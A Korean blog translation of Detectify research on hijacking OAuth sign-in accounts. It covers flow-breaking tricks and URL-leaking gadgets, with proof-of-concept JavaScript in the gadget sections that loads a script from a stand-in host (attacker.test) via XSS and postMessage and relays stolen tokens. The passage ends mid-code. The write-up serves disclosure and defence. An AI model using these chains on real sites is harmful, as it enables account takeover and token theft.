모의해킹 리서치

(한글번역) Account hijacking using “dirty dancing” in sign-in OAuth-flows

albino-mouse 2025. 4. 29. 11:53

https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/

 

Account hijacking using "dirty dancing" in sign-in OAuth-flows - Labs Detectify

Combining response-type switching, invalid state and redirect-uri quirks using OAuth, with third-party javascript-inclusions has multiple vulnerable scenarios where authorization codes or tokens could leak to an attacker. This could be used in attacks for

labs.detectify.com

 

 

OAuth를 이용한 response-type 스위칭, 잘못된 state 처리, redirect-uri 취약점 조합과 타사 JavaScript 포함을 함께 악용하면, 인증 코드나 토큰이 공격자에게 노출될 수 있는 다양한 취약 시나리오가 발생할 수 있습니다. 이는 단 한 번의 클릭으로 계정을 탈취하는 공격에도 사용될 수 있습니다. Detectify의 보안 자문가 Frans Rosén은 실제로 발견된 세 가지 시나리오를 소개하고, 위험을 줄이는 방법도 함께 제안합니다.

"OAuth 로그인 플로우의 '더티 댄싱(Dirty Dancing)'을 이용한 계정 탈취"를 소개합니다!

(또는 URL 누출과 결합된 OAuth 비정상 플로우 악용)

이 글을 Nir Goldshlager와 Egor Homakov에게 바칩니다.

배경

약 10년 전, 버그 바운티 프로그램이 막 활성화되기 시작할 무렵, 저는 Nir Goldshlager와 Egor Homakov가 OAuth 관련 계정 탈취에 대해 블로그에 올린 여러 게시글에 깊은 영감을 받았습니다. 그들의 글이 올라올 때마다 "어떻게 작동하는지, 왜 그런지, 정확히 무엇이 문제인지" 스스로 분석해보려고 노력했습니다. 이 경험이 제 보안 분야 여정의 시작이었습니다. 10년간의 보안 경력을 기념하며, 저는 스스로에게 질문을 던졌습니다.

 

"2022년에도 OAuth 토큰을 훔치는 방법론이 여전히 있을까?"

 

🧑‍💻 OAuth 인증 정보 노출에 대한 현재 상황과 가정

요즘은 크로스 오리진(Cross-origin) "Referer" 헤더를 통한 정보 유출이 그리 흔치 않습니다. 브라우저들이 요청한 도메인 이외의 추가 정보를 자동으로 제거하기 때문입니다. 또한, 짧은 수명의 XSS 감시 기능(XSS Auditors)이 도입되면서 크로스사이트 스크립팅(XSS) 공격도 까다로워졌습니다 (하지만 완전히 불가능해진 것은 아닙니다). 그 후 Content Security Policy(CSP)와 Trusted Types가 등장했습니다. XSS가 여전히 불가능하지는 않지만, 그렇다면 이런 귀중한 OAuth 토큰을 탈취할 다른 방법은 없을까요?

왜 OAuth 토큰 탈취를 노리는 것이 흥미로운지 간단히 설명드리겠습니다. 많은 웹사이트들이 사용자가 “[대형 플랫폼 이름]으로 로그인”할 수 있도록 허용합니다.

여러분이 사용하는 이러한 서드파티 인증 서비스는 Google, Apple, Facebook, Twitter, Slack 또는 그 외 다양한 공급자를 통해 제공될 수 있습니다. 이들은 모두 OAuth를 이용하여, 사용자의 신원을 웹사이트에 검증해줄 수 있는 코드나 토큰을 발급합니다. 덕분에 사용자는 로그인하고자 하는 웹사이트에 직접 로그인 정보를 입력하지 않고도, 이러한 서드파티 서비스를 이용해 로그인할 수 있게 됩니다. 이 글 전반에서, 서드파티 서비스 제공자를 통한 웹사이트 로그인 과정을 "OAuth-댄스(OAuth-dance)"라고 부르겠습니다. 한편, 유출된 액세스 토큰 문제를 방지하기 위해 "Sender-Constrained Access Tokens"라는 개념, 특히 mTLS(mutual TLS) 방식이 존재하지만, 이번 글에서는 이 메커니즘에 대해서는 다루지 않겠습니다. 'OAuth 2.0 Security Best Current Practice' 명세서에서는 제가 아래에서 설명할 공격 기법들을 4.2.1 OAuth 클라이언트로부터의 정보 유출(Leakage from the OAuth client)로 언급하고 있습니다. 다만, 이 공격 기법은 현재 Referer 헤더를 통한 자격 증명 유출(Credential Leakage via Referer Headers)로 분류되어 있는데, 이는 정확하지 않습니다. 왜냐하면 이 공격들에서는 Referer 헤더가 전혀 사용되지 않기 때문입니다. (참고: 이 연구 결과는 명세서 작성자들에게 공유되었습니다.)

 

🧑‍💻 다양한 OAuth-댄스 설명


Response Types (응답 타입)
먼저, OAuth-댄스에서는 여러 가지 응답 타입(response type) 을 사용할 수 있는데, 가장 일반적인 세 가지는 다음과 같습니다:

1. code + state : code는 서버 측에서 OAuth 제공자(OAuth-provider) 서버에 호출하여 액세스 토큰을 얻기 위해 사용됩니다. state 매개변수는 이 요청을 올바른 사용자가 보낸 것인지 검증하는 데 사용됩니다. OAuth 클라이언트는 서버 측 요청을 보내기 전에 반드시 state 값을 검증해야 합니다.

2. id_token : id_token은 OAuth 제공자가 발급한 공개 인증서로 서명된 JSON Web Token(JWT)입니다. 사용자의 신원이 주장한 대로 맞는지를 검증하는 데 사용됩니다.

3. token : token은 서비스 제공자의 API에서 사용하는 액세스 토큰입니다.

Response Modes (응답 전달 방식)
OAuth-댄스에서 코드나 토큰을 웹사이트로 전달하는 방식에도 여러 가지가 있으며, 대표적으로 다음 네 가지가 있습니다:

1. Query (쿼리) : 리다이렉트 시 웹사이트로 쿼리 파라미터를 보내는 방식입니다.

(예: https://example.com/callback?code=xxx&state=xxx)

주로 code+state 조합에 사용됩니다. 이 때의 code는 단 한 번만 사용할 수 있으며, 액세스 토큰을 얻기 위해서는 OAuth 클라이언트 비밀 키(client secret)가 필요합니다. 토큰은 여러 번 사용할 수 있기 때문에 이 방식(Query)으로 보내는 것은 권장되지 않습니다. 서버 로그 등에 노출될 수 있기 때문입니다. 대부분의 OAuth 제공자는 token에 대해 이 방식을 지원하지 않고, 오직 code에만 사용합니다.
예시:
response_mode=query는 Apple에서 사용합니다.
response_type=code는 Google이나 Facebook에서 사용합니다.

2. Fragment (프래그먼트) : URL의 프래그먼트(해시, #) 부분을 사용하여 리다이렉트하는 방식입니다.

(예: https://example.com/callback#access_token=xxx)

프래그먼트는 서버 로그에 기록되지 않고, 오직 클라이언트 측(JavaScript)에서만 접근할 수 있습니다. 주로 token을 전송할 때 사용됩니다.
예시:
response_mode=fragment는 Apple과 Microsoft가 사용합니다.
response_type에 id_token 또는 token이 포함된 경우 Google, Facebook, Atlassian 등에서 사용합니다.

3. Web-message (웹 메시지) : 웹사이트의 고정된 origin으로 postMessage를 통해 직접 메시지를 보내는 방식입니다.

(예: postMessage('{"access_token":"xxx"}','https://example.com'))

지원된다면 모든 종류의 응답 타입에 사용할 수 있습니다.
예시:
response_mode=web_message - Apple이 사용합니다.
redirect_uri=storagerelay://... - Google이 사용합니다.
redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/... - Facebook이 사용합니다.

4. Form-post (폼 포스트) : 유효한 redirect_uri로 일반 POST 요청을 보내는 방식입니다. code나 token 모두 전송할 때 사용할 수 있습니다.
예시:
response_mode=form_post - Apple이 사용합니다.
ux_mode=redirect&login_uri=https://example.com/callback - Google Sign-In(GSI)이 사용합니다.

일부 OAuth 제공자는 OAuth-댄스를 간소화하기 위해, SDK(wrapper) 를 제공하기도 합니다. 예를 들어 Google의 GSI(Google Sign-In)는 일반 OAuth 흐름처럼 동작하지만, id_token을 폼 POST 방식이나 postMessage를 통해 웹사이트로 전송하는 식으로 구현되어 있습니다.

 

🧑‍💻 이론 : postMessage를 통한 토큰 탈취


이제 제가 세운 이론이 무엇이었고, 왜 이를 조사하게 되었는지에 대해 자세히 설명하겠습니다. 저는 오랫동안 postMessage 구현과 관련된 버그를 찾아왔습니다. 각 탭의 모든 창(window)에서 postMessage 리스너를 쉽게 탐색할 수 있도록 도와주는 Chrome 확장 프로그램도 직접 개발했습니다. 요즘은 postMessage 리스너 안에서 단순한 XSS 취약점을 찾는 것은 드물지만, origin 검증(origin-check)이 약하거나 아예 없는 문제는 여전히 매우 흔합니다. 다만 많은 경우, origin 검증을 우회하더라도 실질적인 영향은 없는 경우가 많았습니다.
그러던 중 제가 세운 이론은 다음과 같았습니다 : "origin 검증이 약하거나 없는 postMessage 리스너가 location.href(현재 방문 중인 웹사이트의 URL)을 유출할 수 있다. 직접적으로든 간접적으로든 이 URL이 외부로 유출된다면, 이를 포착할 수 있을 것이다." 일반적인 시작 페이지(start page)에서는 URL을 탈취한다고 해서 큰 문제가 되는 것처럼 보이지 않을 수 있습니다. 그러나 만약 OAuth 코드나 토큰을 특정 웹사이트의 약한 postMessage 리스너가 존재하는 페이지로 유도할 수 있다면, 다른 탭에서 메시지를 보내 location.href를 회수하는 방식으로 토큰을 훔칠 수 있게 됩니다. 이 과정에서 XSS(크로스사이트 스크립팅) 없이도 OAuth 토큰을 탈취할 수 있는 것입니다. 물론 이 기법은 OAuth-댄스 외에도 민감한 URL을 다루는 다른 곳에서도 악용될 수 있습니다. 그러나 URL을 가장 민감하게 만드는 가장 일반적인 방법은 역시 로그인 플로우에 집중하는 것이었습니다. 이런 방식으로 실제로 공격이 발생했다는 사례를 알고 있었던 것은 아니었지만, 충분히 탐구해볼 가치가 있다고 판단했습니다.

조사를 시작하기 위해 다음과 같은 계획을 세웠습니다:
1. 인기 있는 버그 바운티 대상 사이트들의 모든 로그인 플로우를 점검한다.
2. 이들이 서드파티 OAuth 제공자를 사용한다면, 사용된 sign-in URL을 수집한다. (여기에는 client-id, response type/mode, redirect-uri 등이 포함됩니다)
3. 웹사이트에 흥미로운 postMessage 리스너가 있는지, 또는 외부 스크립트(third-party script) 가 로드되고 있는지를 기록한다.

웹사이트들이 OAuth 제공자를 사용하는 다양한 방법을 수집한 결과, 몇 가지 선택지와 조합들이 존재하며, 각 웹사이트가 서로 다른 response-type과 mode 조합을 사용하고 있다는 것이 명확해졌습니다. 이 과정을 마친 후에는, 가장 인기 있는 OAuth 제공자들에 집중할 수 있었고, 추가적인 조건들을 기준으로 웹사이트들을 필터링할 수 있게 되었습니다.

 

🧑‍💻 OAuth-댄스의 비정상 플로우(Non-happy paths)


먼저, OAuth-댄스를 깨뜨리는 여러 방법을 설명하겠습니다. 여기서 '깨뜨린다'는 것은, OAuth 제공자가 유효한 코드나 토큰을 발급했지만, 이를 수신한 웹사이트가 토큰을 정상적으로 처리하지 못하는 경우를 의미합니다. 이러한 경우를 "비정상 플로우(non - happy path)" 라고 부르겠습니다. 성공적인 OAuth-댄스에서는, 최종적으로 웹사이트 URL에서 코드나 토큰이 제거됩니다. 하지만 이번 공격을 성립시키기 위해서는, 웹사이트가 코드나 토큰을 제대로 소비(consuming)하지 못하게 만들어야 합니다. 그래야 공격자가 이를 탈취해서 사용할 수 있기 때문입니다. 이 과정은 여러 가지 결과를 초래할 수 있지만, 궁극적으로는 오류 페이지(error page)나 이와 유사한 페이지로 이동하여, 여전히 로드되는 타사 JavaScript를 통해 토큰을 유출시키는 것이 목표입니다. OAuth-댄스를 깨뜨리는 몇 가지 방법이 있지만, 이러한 깨뜨리는 방법 자체만으로는 직접적인 피해를 주지 않습니다. 그러나 피해자의 코드나 토큰이 URL에 남게 되고, 이것이 다시 location.href 유출과 연결된다면, 심각한 문제가 될 수 있습니다.

State를 의도적으로 망가뜨리기

OAuth 명세서는 response_type=code와 함께 state 매개변수를 사용하여, OAuth-댄스를 시작한 사용자가 토큰을 발급받는 사용자인지 검증할 것을 권장합니다. 하지만, 만약 state 값이 유효하지 않다면, 웹사이트는 이 코드를 소비하지 않고(sign-in 처리를 멈추고) 오류를 발생시킵니다. (코드는 OAuth 제공자에게 전달되지 않고 그대로 남게 됩니다.) 즉, 공격자가 자신이 시작한 로그인 플로우의 state 값을 이용하여, 피해자에게 오염된 로그인 링크를 보내면, 웹사이트는 이를 처리하지 못하고 로그인 실패 상태로 만들 수 있습니다.
구체적인 공격 흐름:
1. 공격자가 "X로 로그인" 버튼을 통해 웹사이트에서 로그인 플로우를 시작한다.
2. 공격자는 이때 받은 state 값을 이용해, 피해자용 로그인 링크를 조작한다.
3. 피해자가 이 링크를 통해 OAuth 제공자에 로그인하고, 웹사이트로 리다이렉트된다.
4. 웹사이트는 피해자의 state 값을 검증하다가 유효하지 않다고 판단하고 로그인 처리를 중단한다. (피해자는 오류 페이지로 이동)
5. 공격자는 이 오류 페이지에서 code를 유출하는 방법을 찾는다.
6. 공격자는 자신의 state를 사용해, 피해자로부터 유출된 code를 이용해 로그인한다.

Response-type / Response-mode 스위칭

OAuth-댄스에서 response-type이나 response-mode를 변경하면, 코드나 토큰이 웹사이트로 전달되는 방식이 달라지게 됩니다. 이로 인해 웹사이트에서 예기치 않은 동작이 발생할 수 있습니다. 현재까지, 웹사이트가 지원하고자 하는 response-type이나 response-mode를 강제로 제한하는 기능을 제공하는 OAuth 제공자는 본 적이 없습니다. 즉, 제공자에 따라서는 최소 2개 이상의 타입이나 모드를 변경할 수 있는 여지가 있으며, 이를 이용해 non-happy path로 유도할 수 있습니다. 또한, 여러 response-type을 한 번에 요청할 수도 있습니다. 이를 처리하는 방법에 대한 별도의 명세(specification)가 존재하며, 여러 개의 response-type을 요청했을 때 redirect-uri에 값을 어떻게 포함시킬지를 설명하고 있습니다.

"요청에서 response_type에 서버가 데이터를 쿼리 문자열에 완전히 인코딩하여 반환해야 하는 값들만 포함된 경우, 응답에서 반환되는 데이터는 성공 응답과 오류 응답 모두에 대해 반드시 쿼리 문자열에 완전히 인코딩되어야 합니다."

이 명세가 올바르게 준수된다면, 예를 들어 code 파라미터를 웹사이트에 전송하도록 요청할 수 있지만, 만약 동시에 id_token도 요청하면, code 파라미터는 쿼리 문자열이 아닌 프래그먼트(fragment) 부분에 담겨 전송됩니다.

Google의 로그인(Sign-In)에서는 이는 다음과 같은 의미를 가집니다.

https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow

이 요청은 https://example.com/callback?code=xxx&state=yyy로 리디렉션됩니다. 하지만,

https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code,id_token&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow

 

동시에 id_token도 요청한 경우, 다음과 같이 리디렉션됩니다.
https://example.com/callback#code=xxx&state=yyy&id_token=zzz

 

같은 개념은 Apple에서도 적용됩니다. 만약 다음과 같이 사용하는 경우,

https://appleid.apple.com/auth/authorize?
response_type=code&
response_mode=query&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback

https://example.com/callback?code=xxx&state=yyy로 리디렉션됩니다. 하지만,

https://appleid.apple.com/auth/authorize? 
response_type=code+id_token& 
response_mode=fragment& 
scope=& 
state=zzz& 
client_id=client-id& 
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback

 

이 URL로 요청하면, 다음과 같이 리디렉션됩니다.
https://example.com/callback#code=xxx&state=yyy&id_token=zzz

Redirect-uri 대소문자 변경(Case Shifting)
일부 OAuth 제공자들은 redirect_uri의 경로(path)에서 대소문자 변경을 허용합니다. 이는 리디렉션 기반 흐름 보호에 대한 명세를 제대로 따르지 않는 것입니다.

"클라이언트의 redirect_uri를 미리 등록된 URI와 비교할 때, 인가 서버는 문자열을 완전히 일치시켜 비교해야 하며, 단 예외로는 로컬호스트에서 실행되는 네이티브 앱의 포트 번호만 무시할 수 있습니다 (4.1.3절 참조). 이 조치는 인가 코드나 액세스 토큰의 유출을 방지하며(4.1절 참조), Mix-up 공격 탐지에도 도움이 됩니다 (4.4절 참조)."

예를 들어, 앱에 등록된 redirect_uri가 https://example.com/callback인 경우, 다음과 같은 요청도 동작할 수 있습니다.

https://oauthprovider.example.com/oauth2/v2.0/authorize?
response_type=id_token&
client_id=client-id&
redirect_uri=https://example.com/CaLlBaCk&
scope=openid%20profile%20email&
nonce=1&
state=yyy

그리고 다음과 같이 리디렉션됩니다.
https://example.com/CaLlBaCk#id_token=xxx

내가 테스트한 모든 웹사이트들은 경로 구분에 대소문자를 구분하기 때문에, 이런 case-shifting은 종종 오류 페이지를 보여주거나, 토큰이 남아있는 상태로 로그인 페이지로 다시 리디렉션시키는 non-happy path를 유발했습니다.
참고: response_type=code인 경우 이런 동작을 악용하기는 더 어렵습니다. 정상적인 OAuth 코드 흐름에서는, 서비스 제공자에게 액세스 토큰을 요청하는 마지막 단계에서, redirect_uri도 다시 제공되어야 하며, 처음 사용한 redirect_uri와 정확히 일치해야 토큰이 발급됩니다. 하지만 response_type=token이나 id_token 같은 다른 타입을 사용할 경우, 이러한 마지막 검증 단계가 없기 때문에, 토큰이 바로 URL로 전달되므로 문제가 됩니다.

Redirect-uri 경로 추가(Path Appending)
또 다른 문제로, 일부 OAuth 제공자는 redirect_uri의 경로에 추가 데이터를 붙이는 것도 허용합니다. URL에 추가될 파라미터와 동일한 파라미터를 미리 제공함으로써 non-happy path를 유도할 수 있습니다.예를 들어, 다음과 같은 요청이 있다고 합시다.

response_type=id_token&
redirect_uri=https://example.com/callbackxxx

 

그러면 다음과 같이 리디렉션됩니다.
https://example.com/callbackxxx#id_token
이 문제는 해당 제공자에게 보고되었습니다. 이 경우에도 response_type=code일 때는 위조가 어렵습니다. 왜냐하면 토큰을 얻기 위한 마지막 단계에서 정확한 redirect_uri가 다시 검증되기 때문입니다.


Redirect-uri 파라미터 추가 (Parameter Appending)
일부 OAuth 제공자는 redirect_uri에 추가적인 쿼리나 프래그먼트 파라미터를 허용합니다. 이를 이용하면, URL에 같은 파라미터를 덧붙임으로써 non-happy path를 유도할 수 있습니다. 예를 들어, 원래 redirect_uri가 https://example.com/callback였다 가정하고, 이렇게 수정해봅시다.

response_type=code&
redirect_uri=https://example.com/callback%3fcode=xxx%26

 

이 경우 실제 리디렉션은 다음과 같이 이루어질 수 있습니다.
https://example.com/callback?code=xxx&code=real-code
이처럼 동일한 이름(code)의 파라미터가 두 번 등장하게 되며, 웹사이트가 이를 어떻게 처리하느냐에 따라 non-happy path로 이어질 수 있습니다. token이나 id_token을 사용할 때도 동일한 현상이 발생할 수 있습니다.

response_type=code&
redirect_uri=https://example.com/callback%23id_token=xxx%26

 

결과: https://example.com/callback#id_token=xxx&id_token=real-id_token
이 경우, JavaScript가 프래그먼트(fragment) 내 파라미터들을 파싱할 때 같은 이름의 값이 여러 개 있는 것을 제대로 처리하지 못하면 non-happy path가 발생할 수 있습니다.

Redirect-uri의 남은 값들 혹은 설정 오류
수많은 사이트의 로그인 URL에서 redirect_uri 파라미터들을 수집한 후, 다른 redirect_uri 값들도 유효한지 실험해 보았습니다. 내가 테스트한 125개의 Google 로그인 흐름 중, 5개 웹사이트에서 메인 시작 페이지도 유효한 redirect_uri로 허용되고 있었습니다. 예를 들어, 공식적으로 사용되는 redirect_uri가 https://auth.example.com/callback이라고 합시다. 이 경우에도 다음 값들이 모두 유효하게 작동했습니다.

https://example.com/
https://example.com
https://www.example.com/
https://www.example.com

 

이 점은 특히 id_token이나 token과 같이 토큰이 URL을 통해 직접 반환되는 플로우에서 위험합니다. response_type=code일 경우에는 마지막 단계에서 OAuth 제공자가 redirect_uri를 다시 검증하기 때문에 상대적으로 안전합니다.

 

🧑‍💻 non-happy path를 찾았습니다. 이제 어떡하죠?


저는 이제 다양한 웹사이트들에서 발생하는 non-happy path들을 여러 가지 수집하였습니다. 다음은 제가 관찰한 여러 경우들입니다.


1. 오류 페이지에 도달하는 경우
2. 웹사이트의 시작 페이지로 리디렉션되는 경우
3. 로그인 페이지로 다시 리디렉션되는 경우
4. 파라미터가 제거된 채 로그인 페이지로 리디렉션되는 경우
5. OAuth 제공자로 다시 리디렉션되지만, response_type과 state가 정상적으로 포함되어 있어 흐름이 유효하지 않음을 인식하고 이를 재시도하는 경우


저는 이 중에서도 1번, 2번, 그리고 5번에 집중하기로 계획하였습니다. 이러한 경우들은 URL 내에 여전히 파라미터들이 남아 있기 때문입니다. 또한 저는 non-happy path를 방지하기 위한 최선의 시나리오는 4번이라고 결론지었습니다. 이제 실제로 정보를 유출할 수 있는 방법들을 찾아볼 시간입니다.

 

🧑‍💻 URL-leaking gadgets


저는 URL을 유출하는 다양한 방법들을 서로 다른 성질을 가진 gadget(문맥상 '공격자가 활용할 수 있는 작은 도구나 코드 블록' 정도로 해석하시면 좋을 것 같습니다)으로 분류하였습니다. 지금부터 제가 확인한 여러 가지 방법들을 순차적으로 살펴보겠습니다.

🧑‍💻 Gadget 1 : origin 검증이 약하거나 없는 postMessage 리스너를 통한 URL 유출

이것은 예상했던 유형입니다. 예시 중 하나는 인기 있는 웹사이트에 로드되는 analytics SDK였습니다.

이 SDK는 postMessage 리스너를 노출하고 있었으며, 메시지 타입이 일치할 경우 다음과 같은 메시지를 전송하였습니다.

다른 오리진에서 해당 창에 메시지를 전송하면 다음과 같은 방식이 됩니다.

openedwindow = window.open('https://www.example.com');
...
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');

 

이때, 응답 메시지는 메시지를 보낸 창으로 전달되며,
그 안에는 해당 웹사이트의 location.href가 포함되어 있습니다.

 

공격 시나리오
이 공격에 사용될 수 있는 흐름은 사이트의 로그인 플로우에서 코드와 토큰이 어떻게 사용되는지에 따라 달라집니다. 하지만 핵심 아이디어는 다음과 같습니다.

1. 공격자는 피해자에게 non-happy path를 유발하도록 조작된 OAuth-dance 링크를 보냅니다.
2. 피해자가 해당 링크를 클릭하면, 새 탭이 열리고 대상 웹사이트의 OAuth 제공자 중 하나를 이용한 로그인 흐름이 시작됩니다.
3. non-happy path가 유발되며, 피해자가 도달한 페이지에는 여전히 코드 또는 토큰이 포함된 URL 상태로 취약한 postMessage-listener가 로드됩니다.
4. 공격자가 보낸 원래의 탭(또는 창)은 새로운 탭에 다수의 postMessage를 전송하여, 취약한 postMessage-listener가 현재 URL을 응답하도록 유도합니다.
5. 공격자는 원래 탭에서 메시지를 대기하다가, 피해자의 URL이 담긴 메시지를 수신하면 그 안의 code 또는 token을 추출하여 공격자 서버로 전송합니다.
6. 공격자는 해당 code 또는 token을 이용하여 피해자로 가장해 로그인할 수 있게 됩니다.

 

🧑‍💻 Gadget 2 : URL을 가져오는 sandbox 또는 서드파티 도메인 상의 XSS

Gadget 2 : 예시 1, sandbox iframe에서 window.name을 탈취하는 방식
저는 이 gadget을 활용한 실제 공격 체인을 처음 발견하여 5월 12일에 보고하였습니다.

우연히도, 이틀 후인 5월 14일 Youssef Sammouda는 Gmail을 사용하는 Facebook 계정을 탈취하는 방법을 설명한 훌륭한 블로그 글을 게시하였습니다. 이 블로그 글은 제가 확인한 것과 유사한 흐름(flow)을 설명하고 있었습니다. 다만, 그가 발견한 취약점은 OAuth-dance 자체를 깨뜨리는 것이 아니라, iframe으로 불러온 sandbox 도메인을 이용해 사용자가 도달한 최종 URL을 유출하는 방식이었습니다. 이 sandbox가 URL 내 민감한 정보에 접근할 수 있었던 이유는, iframe을 로드할 때 해당 정보가 sandbox URL에 직접 추가되어 있었기 때문입니다.
제가 발견한 사례는 이와 조금 다르게 작동하였습니다. 첫 번째 사례에서는 OAuth-dance가 끝난 후 도달하는 페이지에 iframe이 로드되어 있었고, 해당 iframe의 name 속성은 window.location 객체를 JSON으로 문자열화한 값이었습니다. 이는 도메인이 다른 두 페이지 간에 데이터를 전달하는 오래된 방식 중 하나로, iframe 안의 페이지는 부모 페이지로부터 자신의 window.name 값을 설정받을 수 있기 때문입니다.

i = document.createElement('iframe');
i.name = JSON.stringify(window.location)
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
document.body.appendChild(i)

iframe에 로드된 도메인에는 간단한 XSS 취약점도 존재하였습니다.

https://examplesandbox.com/embed_iframe?src=javascript:alert(1)

Youssef의 설명에 따르면, 한 창에서 특정 도메인에 대한 XSS가 존재할 경우, 해당 창은 동일 출처(same-origin) 조건이 충족되고 부모/자식/opener 관계가 있는 경우, 다른 창에도 접근할 수 있습니다. 저는 이 개념을 바탕으로 다음과 같은 작업을 수행하였습니다.

1. 제 악성 페이지를 만들고 그 안에 XSS가 존재하는 sandbox 도메인의 iframe을 삽입한 후, 제 스크립트를 로드하도록 설정하였습니다.

<div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
x=createElement('script'),
x.src='//attacker.test/inject.js',
document.body.appendChild(x);" 
style="border:0;width:500px;height:500px"></iframe></div>

 

2. sandbox 내에서 로드된 제 스크립트에서는 콘텐츠를 교체하여, 피해자에게 사용할 링크를 삽입하였습니다.

document.body.innerHTML = 
'<a href="#" onclick="
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
Click here to hijack token</a>';

또한 저는 링크가 열렸는지, 그리고 도달하려는 iframe이 존재하는지를 확인하기 위해 주기적으로 검사하는 스크립트(interval)를 실행하였습니다. 이 스크립트는 공격자 페이지에 있는 iframe과 동일한 origin을 가진 iframe에서 설정된 window.name을 가져오기 위한 목적이었습니다.

 

3. 그 후 공격자 페이지는 방금 전 우리가 전송한 window.name 값을 포함한 메시지를 수신하기만 하면 됩니다.

<script>
window.addEventListener('message', function (e) {
 if (e.data) {
     document.getElementById('leak').innerText = 'We stole the token: ' + e.data;
 }
});
</script>

 

Gadget 2 : 예시 2, iframe 내 XSS + 부모 origin 확인
두 번째 예시는 non-happy path에서 로드되는 iframe에 postMessage 기반 XSS가 존재하지만, 메시지를 부모 창에서만 허용하도록 제한되어 있는 경우입니다. 이 iframe은 location.href 값을 요청 시 부모 창으로부터 전달받습니다. 즉 iframe이 initConfig 메시지를 부모 창에 보내면, 부모 창은 현재의 URL 정보를 iframe으로 전송해 줍니다. 부모 창은 다음과 같이 iframe을 로드하고 있었습니다:

<iframe src="https://challenge-iframe.example.com/"></iframe>

 

그리고 iframe의 내부 스크립트는 다음과 같은 구조였습니다(실제보다 단순화된 형태입니다).

<script>
window.addEventListener('message', function (e) {
  if (e.source !== window.parent) {
    // 메시지를 보낸 origin이 부모가 아니므로 거부
    return;
  }
  if (e.data.type === 'loadJs') {
    loadScript(e.data.jsUrl);
  } else if (e.data.type === 'initConfig') {
    loadConfig(e.data.config);
  }
});
</script>

 

이 경우에도 저는 첫 번째 예시와 유사한 방법으로 공격을 수행할 수 있었습니다.

 

1. sandbox iframe을 포함하는 악성 페이지를 생성하고, onload 속성을 사용하여 iframe 로딩 시 스크립트가 실행되도록 설정하였습니다.

<div id="leak">
  <iframe id="i" name="i"
    src="https://challenge-iframe.example.com/"
    onload="run()"
    style="border:0;width:500px;height:500px"></iframe>
</div>

 

 

2. 이 악성 페이지는 iframe의 부모가 되므로, postMessage를 통해 sandbox 도메인 상에서 공격자의 스크립트를 로드하도록 지시할 수 있습니다.

<script>
function run() {
  i.postMessage({ type: 'loadJs', jsUrl: 'https://attacker.test/inject.js' }, '*');
}
</script>

 

 

3. sandbox 내에서 로드된 공격자 스크립트는 피해자를 위한 링크로 콘텐츠를 바꿉니다.

document.body.innerHTML = '<a href="#" onclick="
b=window.open(\'https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...\');">
Click here to hijack token</a>';


또한 다음과 같은 interval 스크립트를 통해 링크가 열리고 iframe 내에서 부모 창으로 메시지를 중계하는 postMessage-listener를 주입합니다.

x = setInterval(function() {
  if (b && b.frames[1]) {
    b.frames[1].eval(
      'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
      'top.postMessage({type:"initConfig"},"*")'
    );
    clearInterval(x);
  }
}, 500);


4. 마지막으로, 공격자의 페이지(악성 iframe을 로드한 창)는 메인 창의 iframe에서 전달된 메시지를 수신하고, 탈취한 토큰을 출력합니다.

<script>
window.addEventListener('message', function (e) {
  if (e.data) {
    document.getElementById('leak').innerText = 'We stole the token: ' + JSON.stringify(e.data);
  }
});
</script>

 

🧑‍💻 Gadget 3: API를 이용한 URL Out-of-Bounds 추출

이 gadget은 가장 흥미로웠습니다. 피해자를 특정 위치로 보낸 다음, 전혀 다른 위치에서 민감한 데이터를 수집할 수 있다는 점이 어딘가 모르게 매우 짜릿하게 느껴졌습니다.

Gadget 3 : 예시 1, origin 검증이 없는 storage-iframe
첫 번째 예시는 외부 추적 서비스(tracking service)에서 제공하는 기능을 활용한 것입니다. 이 서비스는 웹사이트에 다음과 같은 "storage iframe"을 삽입합니다:

<iframe
  id="tracking"
  name="tracking"
  src="https://cdn.customer1234.analytics.example.com/storage.html">
</iframe>

 

메인 윈도우(부모 창)는 이 iframe과 postMessage를 통해 통신하며, tracking 데이터를 해당 iframe의 origin(storage.html이 위치한 도메인)의 localStorage에 저장합니다. 예를 들어, 데이터를 저장할 때는 다음과 같이 전송합니다.

tracking.postMessage(
  '{"type": "put", "key": "key-to-save", "value": "saved-data"}',
  '*'
);

 

또한, 메인 윈도우는 저장된 데이터를 다음과 같이 요청할 수도 있습니다:

tracking.postMessage(
  '{"type": "get", "key": "key-to-save"}',
  '*'
);

iframe이 초기화 시 로드될 때, 사용자의 마지막 위치(location.href)가 localStorage에 다음과 같이 저장되었습니다.

tracking.postMessage(
  '{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}',
  '*'
);

 

공격자가 어떤 방식으로든 해당 origin과 통신할 수 있다면, 이 저장된 값을 통해 location.href를 추출할 수 있습니다. 이 서비스의 postMessage 리스너에는 origin에 대한 blockList와 allowList가 존재하였습니다. 즉, analytics 서비스는 웹사이트 측에서 허용 또는 차단할 origin을 정의할 수 있도록 설계되어 있었습니다.

var blockList = [];
var allowList = [];
var syncListeners = [];

window.addEventListener('message', function(e) {
  // blockList에 있으면 차단
  if (blockList && blockList.indexOf(e.origin) !== -1) {
    return;
  }
  // allowList가 있을 경우, 명시된 origin만 허용
  if (allowList && allowList.indexOf(e.origin) == -1) {
    return;
  }
  // 부모 창에서만 메시지를 허용
  if (e.source !== window.parent) {
    return;
  }
  handleMessage(e);
});

function handleMessage(e) {
  if (data.type === 'sync') {
